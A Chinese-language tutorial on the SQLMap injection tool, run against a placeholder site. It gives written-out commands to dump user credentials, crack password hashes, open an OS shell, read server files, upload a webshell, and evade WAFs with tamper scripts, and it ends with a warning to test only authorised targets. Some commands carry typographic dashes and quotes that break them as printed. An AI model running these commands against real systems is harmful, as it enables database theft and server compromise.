SQL注入神器：SQLMap终极食用指南 🗡️🍯

SQLMap 是一款自动化的 SQL 注入测试与利用工具。它能帮你“验证与定位”注入点，枚举与导出数据，甚至在具备权限的前提下进行文件操作与系统命令执行。

基础认知：SQLMap 是啥？为什么常被称为神器？🤔

SQLMap是一个开源的自动化SQL注入工具。说人话就是：它像一个智能机器人🤖，能自动帮你检测网站是否存在SQL注入漏洞，并且利用这个漏洞帮你获取数据库里的信息。

它的超能力包括：

一句话总结：只要网站有SQL注入漏洞，SQLMap就能把它变成你的“信息提款机”💸。

在Kali Linux中，SQLMap是预装好的。打开终端，我们开始吧！

场景🌰： 我们发现一个网站 http://vulnerable-site.com/news.php?id=1，id参数看起来很可疑。

命令①：最基本的检测

1	sqlmap -u "http://vulnerable-site.com/news.php?id=1"

-u：指定要测试的URL。
🎯 效果： SQLMap会开始自动检测id参数是否存在注入漏洞。它会问你一些问题，比如“看起来是MySQL数据库，是否跳过检测其他数据库？”，一路按回车选择默认选项即可！

如果看到 Parameter 'id' is vulnerable. 这样的字眼，恭喜你！🎉 你找到了一个漏洞！

找到漏洞只是开始，SQLMap的真正威力在于它的各种参数组合！

命令②：使用抓取的数据包文件（超方便！）

1	sqlmap -r request.txt

-r：从一个文件中读取HTTP请求。这是最推荐的方式！
🌰 用法：先用BurpSuite这类工具抓取浏览网站的整个HTTP请求，保存为request.txt文件。这样，SQLMap会自动分析里面的Cookie、POST数据等所有参数，无需手动指定，超级省心！

一旦确认漏洞，我们就可以开始提取数据了。这个过程就像剥洋葱🧅，从外到里一层一层剥开。

查看所有数据库： --dbs
bash
sqlmap -u “http://vulnerable-site.com/news.php?id=1“ –dbs
- 输出：会显示像 [*] information_schema, [*] mysql, [*] vulnerable_db 这样的数据库列表。
查看当前数据库： --current-db
查看所有用户： --users
查看用户密码： --passwords （SQLMap会尝试破解密码哈希！🔓）

假设我们找到了一个叫 shop_db 的数据库：

爆出库中所有表： -D shop_db --tables
bash
sqlmap -u “http://…id=1” -D shop_db –tables
- 输出：可能会显示 [*] users, [*] products 等表。

假设我们对 users 表非常感兴趣：

爆出表中所有列： -D shop_db -T users --columns
bash
sqlmap -u “http://…id=1” -D shop_db -T users –columns
- 输出：会显示 id, username, password, email 等列名。
最终目标：爆出数据！ -D shop_db -T users -C username,password --dump
bash
sqlmap -u “http://…id=1” -D shop_db -T users -C username,password –dump
- --dump： 导出数据的终极命令！🚀
- 🎯 效果： SQLMap会把username和password列的所有数据给你下载回来，并以表格形式展示！如果密码是哈希值，它还会自动帮你破解！

如果权限足够，SQLMap还能玩出更多花样。

命令③：执行–os-shell

1	sqlmap -u "http://...id=1" --os-shell

前提：需要是高权限账户（如root/DBA），并且知道网站的绝对路径。
效果：如果成功，你会获得一个交互式的命令行Shell！可以执行whoami, dir, cat /etc/passwd等系统命令。这是渗透测试的里程碑时刻！🎯

读取服务器上的文件： --file-read
bash
sqlmap -u “http://…id=1” –file-read “C:/Windows/system32/drivers/etc/hosts”
- SQLMap会把文件内容下载到本地给你看。
上传文件到服务器： --file-write 和 --file-dest
bash
sqlmap -u “http://…id=1” –file-write “shell.php” –file-dest “/var/www/html/shell.php”
- 这可以将一个木马文件上传到服务器，从而进一步控制目标。

--batch：傻瓜式模式，所有交互都自动选择默认选项，适合批量操作。
--random-agent：使用随机的User-Agent，更好地伪装自己。
--level 和 --risk：提高检测级别和风险等级，检测更全面（但更慢更危险）。
--tamper：使用脚本对Payload进行混淆，用来绕过WAF（Web应用防火墙）。例如：--tamper=space2comment.py（用/**/代替空格）。

技术是无罪的，但人心有。 请务必遵守法律和道德底线！

🚫 绝对禁止：对任何你没有得到明确书面授权的网站进行测试。这是严重的违法行为！
✅ 绝对鼓励：在你自己的虚拟机、像DVWA、Sqli-Labs、HackTheBox、TryHackMe这类合法的渗透测试练习环境中尽情使用SQLMap。